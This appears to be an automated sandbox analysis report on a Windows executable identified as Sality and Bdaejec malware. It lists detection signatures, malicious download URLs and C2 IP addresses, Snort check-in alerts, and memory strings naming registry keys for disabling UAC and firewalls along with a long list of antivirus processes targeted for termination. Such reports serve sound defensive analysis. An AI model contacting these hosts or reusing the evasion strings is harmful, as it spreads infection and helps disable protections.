Windows Analysis Report
a4#Uff09.exe

Overview

General Information

Sample name: a4#Uff09.exe
renamed because original name is a hash value
Original sample name: R2.exe
Analysis ID: 1467982
MD5: 75d53417d21654acbe4565e04a5e3353
SHA1: 18f996da80eee26b0fe48da445586f190aa710bd
SHA256: ecbc34e6b5739a37dc046dfecf8e067eff30b4d1a4bf7531147286fbb45e1be5
Tags: exesality
Infos:

Detection

Bdaejec, Sality
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Yara detected Bdaejec
Yara detected Sality
AI detected suspicious sample
Allocates memory in foreign processes
Changes security center settings (notifications, updates, antivirus, firewall)
Contains functionality to inject threads in other processes
Creates a thread in another existing process (thread injection)
Creates autorun.inf (USB autostart)
Deletes keys which are related to windows safe boot (disables safe mode boot)
Disables UAC (registry)
Disables user account control notifications
Drops PE files with a suspicious file extension
Infects executable files (exe, dll, sys, html)
Injects code into the Windows Explorer (explorer.exe)
Machine Learning detection for dropped file
Machine Learning detection for sample
May modify the system service descriptor table (often done to hook functions)
Modifies the windows firewall
Modifies the windows firewall notifications settings
PE file contains section with special chars
PE file has a writeable .text section
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses known network protocols on non-standard ports
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for available system drives (often done to infect USB drives)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain checking for process token information
Found inlined nop instructions (likely shell or obfuscated code)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May infect USB drives
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: Use Short Name Path in Command Line
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the system / local time for branch decision (may execute only at specific dates)
Yara detected Keylogger Generic
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Sality F-Secure states that the Sality virus family has been circulating in the wild as early as 2003. Over the years, the malware has been developed and improved with the addition of new features, such as rootkit or backdoor functionality, and so on, keeping it an active and relevant threat despite the relative age of the malware.Modern Sality variants also have the ability to communicate over a peer-to-peer (P2P) network, allowing an attacker to control a botnet of Sality-infected machines. The combined resources of the Sality botnet may also be used by its controller(s) to perform other malicious actions, such as attacking routers.InfectionSality viruses typically infect executable files on local, shared and removable drives. In earlier variants, the Sality virus simply added its own malicious code to the end of the infected (or host) file, a technique known as prepending. The viral code that Sality inserts is polymorphic, a form of complex code that is intended to make analysis more difficult.Earlier Sality variants were regarded as technically sophisticated in that they use an Entry Point Obscuration (EPO) technique to hide their presence on the system. This technique means that the virus inserts a command somewhere in the middle of an infected file's code, so that when the system is reading the file to execute it and comes to the command, it forces the system to 'jump' to the malware's code and execute that instead. This technique was used to make discovery and disinfection of the malicious code harder.PayloadOnce installed on the computer system, Sality viruses usually also execute a malicious payload. The specific actions performed depend on the specific variant in question, but generally Sality viruses will attempt to terminate processes, particularly those related to security programs. The virus may also attempt to open connections to remote sites, download and run additional malicious files, and steal data from the infected machine.
  • Salty Spider
 https://malpedia.caad.fkie.fraunhofer.de/details/win.sality

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: a4#Uff09.exe Avira: detected
Antivirus detection for URL or domain
Source: http://www.careerdesk.org/images/xs.jpg Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rar Avira URL Cloud: Label: malware
Source: http://amsamex.com/xs.jpg?19388a30=-63609376lication Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?35067=651573 Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?a33c7a9=1540490481 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?fcf9a73d=-355233109 Avira URL Cloud: Label: phishing
Source: http://www.careerdesk.org/images/xs.jpg?71f7cbe=478016248 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?84b622e8=-2068438296 Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?fb47c601=-475094010 Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?da83e528=-1365045656 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?e8e2ac16=1968179332 Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?9d03c0a4=973570376 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?3def25de=761812174 Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?9bcb84a=326725780 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?2eabe496=1566034220 Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?4d6da8df=-1696902722 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?c0085b83=2190860 Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k3.rarp Avira URL Cloud: Label: phishing
Source: http://www.careerdesk.org/images/xs.jpg?10ed67fd=1987958763 Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rars Avira URL Cloud: Label: malware
Source: http://173.193.19.14/logo.gif Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?28fcab5b=-1544376980 Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?e8ebb07=-2096852161 Avira URL Cloud: Label: malware
Source: http://amsamex.com/xs.jpg?19388a30=-63609376Z3 Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?6340f643=-263925937x Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?29c644f8=1401719280 Avira URL Cloud: Label: phishing
Source: http://www.careerdesk.org/images/xs.jpg?11838a2=36729156 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpgs.jpg Avira URL Cloud: Label: phishing
Source: http://www.careerdesk.org/images/xs.jpg?96b3ddc7=-243051293 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?7bdce87=1298796870 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?b092bd4e=891856830 Avira URL Cloud: Label: phishing
Source: http://apple-pie.in/images/xs.jpg?f396007=510836750 Avira URL Cloud: Label: phishing
Source: http://www.careerdesk.org/images/xs.jpg?196cfa85=-1308960349 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?31491f6=51679734 Avira URL Cloud: Label: phishing
Source: http://www.careerdesk.org/images/xs.jpg?a44fd8bb=-1858116884 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?d0ca9ad5=1918881919 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?222ff603=1720705545 Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarH_ Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rar6_ Avira URL Cloud: Label: malware
Source: http://kukutrustnet777888.info/DisableTaskMgrSoftware Avira URL Cloud: Label: phishing
Source: http://althawry.org/images/xs.jpg Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?1a62f99e=442694046 Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?7558a477=-1072440630 Avira URL Cloud: Label: malware
Source: http://amsamex.com/xs.jpg?b44a4f65=-785826412 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959f Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Program Files\7-Zip\Uninstall.exe Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Avira: detection malicious, Label: W32/Jadtre.B
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe ReversingLabs: Detection: 100%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Program Files\7-Zip\Uninstall.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: a4#Uff09.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: a4#Uff09.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: Binary string: .objK.pdb source: SearchApp.exe, 0000001C.00000000.1565581389.000001F4AEDB0000.00000004.00000001.00020000.00000000.sdmp

Spreading
barindex
Yara detected Sality
Source: Yara match File source: 0.2.a4#Uff09.exe.29d0000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: a4#Uff09.exe PID: 7020, type: MEMORYSTR
Creates autorun.inf (USB autostart)
Source: C:\Users\user\Desktop\a4#Uff09.exe File created: C:\autorun.inf Jump to behavior
Infects executable files (exe, dll, sys, html)
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe System file written: C:\Program Files\7-Zip\Uninstall.exe Jump to behavior
Checks for available system drives (often done to infect USB drives)
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: z: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: y: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: x: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: w: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: v: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: u: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: t: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: s: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: r: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: q: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: p: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: o: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: n: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: m: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: l: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: k: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: j: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: i: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: h: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: g: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: f: Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe File opened: e: Jump to behavior
Source: C:\Windows\System32\dllhost.exe File opened: c: Jump to behavior
May infect USB drives
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: C:\autorun.inf
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: autorun.inf
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\autorun.infO;
Source: a4#Uff09.exe, 00000000.00000002.3884264552.000000000578B000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: [autorun]
Source: a4#Uff09.exe, 00000000.00000002.3895454085.0000000006237000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\C:\autorun.inf
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: [AutoRun]
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: autorun.inf
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: _kkiuynbvnbrev406C:\hh8geqpHJTkdns0MCIDRV_VERMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)MPRNtQuerySystemInformationSoftware\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache GlobalUserOfflineSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsSoftware\Microsoft\Windows\CurrentVersionhttp://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdrivers\KeServiceDescriptorTable_os%d%dhttp://kukutrustnet777888.info/DisableTaskMgrSoftware\Microsoft\Windows\CurrentVersion\policies\systemEnableLUASoftware\Microsoft\Windows\ShellNoRoam\MUICachemonga_bongapurity_control_90833SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile%s:*:Enabled:ipsecSYSTEM\CurrentControlSet\Services\SharedAccessStart\AuthorizedApplications\ListSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AdvancedHidden[AutoRun]
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: shell\explore\Commandshell\Autoplay\commandDisableRegistryToolsDAEMON.Simple Poly Engine v1.1a(c) Sector\SvcSOFTWARE\Microsoft\Security CenterAntiVirusOverrideAntiVirusDisableNotifyFirewallDisableNotifyFirewallOverrideUpdatesDisableNotifyUacDisableNotifyAntiSpywareOverrideSYSTEMkukutrusted!.CreateMutexAKERNEL32TEXTUPXCODEGdiPlus.dllDEVICEMBhttp://\Runhttpipfltdrv.syswww.microsoft.com?%x=%d&%x=%dSYSTEM.INIUSER32.DLL.%c%s\\.\amsint32.EXE.SCRSfcIsFileProtectedsfcdrw.VDB.AVCNTDLL.DLLrnd=autorun.infEnableFirewallDoNotAllowExceptionsDisableNotificationsWNetEnumResourceAWNetOpenEnumAWNetCloseEnumADVAPI32.DLLCreateServiceAOpenSCManagerAOpenServiceACloseServiceHandleDeleteServiceControlService__hStartServiceANOTICE__drIPFILTERDRIVERChangeServiceConfigAwin%s.exe%s.exeWININET.DLLInternetOpenAInternetReadFileInternetOpenUrlAInternetCloseHandleAVPAgnitum Client Security ServiceALGAmon monitoraswUpdSvaswMon2aswRdraswSPaswTdiaswFsBlkacssrvAV Engineavast! iAVS4 Control Serviceavast! Antivirusavast! Mail Scanneravast! Web Scanneravast! Asynchronous Virus Monitoravast! Self ProtectionAVG E-mail ScannerAvira AntiVir Premium GuardAvira AntiVir Premium WebGuardAvira AntiVir Premium MailGuardBGLiveSvcBlackICECAISafeccEvtMgrccProxyccSetMgrCOMODO Firewall Pro Sandbox DrivercmdGuardcmdAgentEset ServiceEset HTTP ServerEset Personal FirewallF-Prot Antivirus Update MonitorfsbwsysFSDFWDF-Secure Gatekeeper Handler StarterFSMAGoogle Online ServicesInoRPCInoRTInoTaskISSVCKPF4KLIFLavasoftFirewallLIVESRVMcAfeeFrameworkMcShieldMcTaskManagerMpsSvcnavapsvcNOD32krnNPFMntorNSCServiceOutpost Firewall main moduleOutpostFirewallPAVFIRESPAVFNSVRPavProtPavPrSrvPAVSRVPcCtlComPersonalFirewalPREVSRVProtoPort Firewall servicePSIMSVCRapAppSharedAccessSmcServiceSNDSrvcSPBBCSvcSpIDer FS Monitor for Windows NTSpIDer Guard File System MonitorSPIDERNTSymantec Core LCSymantec Password ValidationSymantec AntiVirus Definition WatcherSavRoamSymantec AntiVirusTmntsrvTmPfwUmxAgentUmxCfgUmxLUUmxPolvsmonVSSERVWebrootDesktopFirewallDataServiceWebrootFirewallwscsvcXCOMMSystem\CurrentControlSet\Control\SafeBoot%d%d.tmpSOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList%s\%s%s\Software\Microsoft\Windows\CurrentVersion\Ext\StatsSoftware\Microsoft\Windows\CurrentVersion\Ext\StatsSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper ObjectsKERNEL32.DLLbootshellSYSTEM.INIExplorer.exeAVPM.A2GUARDA2CMD.A2SERVICE.A2FREEAVASTADVCHK.AGB.AKRNL.AHPROCMONSERVER.AIRDEFENSEALERTSVCAVIRAAMON.TROJAN.AVZ.ANTIVIRAPVXDWIN.ARMOR2NET.ASHAVAST.ASHDISP.ASHENHCD.ASHMAISV.ASHPOPWZ.ASHSERV.ASHSIMPL.ASHSKPCK.ASHWEBSV.ASWUPDSV.ASWSCANAVCIMAN.AVCONSOL.AVENGINE.AVESVC.AVEVAL.AVEVL32.AVGAMAVGCC.AVGCHSVX.AVGCSRVX.AVGNSX.AVGCC32.AVGCTRL.AVGEMC.AVGFWSRV.AVGNT.AVCENTERAVGNTMGRAVGSERV.AVGTRAY.AVGUARD.AVGUPSVC.AVGWDSVC.AVINITNT.AVKSERV.AVKSERVICE.AVKWCTL.AVP.AVP32.AVPCC.AVASTAVSERVER.AVSCHED32.AVSYNMGR.AVWUPD32.AVWUPSRV.AVXMONITORAVXQUAR.BDSWITCH.BLACKD.BLACKICE.CAFIX.BITDEFENDERCCEVTMGR.CFP.CFPCONFIG.CCSETMGR.CFIAUDIT.CLAMTRAY.CL
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029DBADD Sleep,lstrcat,lstrcpy,CharLowerA,lstrcat,FindFirstFileA,FindNextFileA,Sleep,lstrlen,lstrcat,lstrlen,CharUpperA,lstrlen,lstrcmpiA,lstrcmpiA,lstrcpy,lstrlen,lstrcmpiA,FindClose,Sleep, 0_2_029DBADD
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029D57A0 GetTempPathA,lstrlen,lstrcat,lstrlen,lstrcpy,lstrcat,FindFirstFileA,FindNextFileA,lstrcat,lstrlen,lstrlen,lstrcmpiA,lstrcmpiA,Sleep,FindClose,Sleep,RtlExitUserThread, 0_2_029D57A0
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose, 2_2_00DB29E2
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread, 2_2_00DB2B8C
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-04h], esp 0_2_00546812
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-04h], esp 0_2_00546812
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-08h], esp 0_2_00670000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-30h], esp 0_2_00670000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-08h], esp 0_2_006A0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-08h], esp 0_2_006A0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-14h], esp 0_2_006A0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-000000B4h], esp 0_2_006B0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-14h], esp 0_2_006B0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-14h], esp 0_2_006B0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_006B0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_006B0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-14h], esp 0_2_006B0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-14h], esp 0_2_006B0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-14h], esp 0_2_006B0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-14h], esp 0_2_006B0000
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-0Ch], esp 0_2_0056B8DC
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-20h], esp 0_2_0056B8DC
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-20h], esp 0_2_0056B8DC
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-08h], esp 0_2_00615DC6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-08h], esp 0_2_00615DC6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-08h], esp 0_2_00615DC6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-08h], esp 0_2_00615DC6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-1Ch], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-18h], esp 0_2_00556EE6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 4x nop then cmp dword ptr [ebp-0Ch], esp 0_2_005425BE

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2838522 ETPRO TROJAN Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup 192.168.2.7:49274 -> 1.1.1.1:53
Source: Traffic Snort IDS: 2807908 ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin 192.168.2.7:49706 -> 44.221.84.105:799
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49707 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49708 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49709 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 44.221.84.105:80 -> 192.168.2.7:49709
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49710 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49711 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2807908 ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin 192.168.2.7:49712 -> 44.221.84.105:799
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49714 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49715 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49716 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49717 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49718 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2807908 ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin 192.168.2.7:49719 -> 44.221.84.105:799
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49720 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49721 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49722 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49723 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49724 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49728 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49730 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49733 -> 44.221.84.105:80
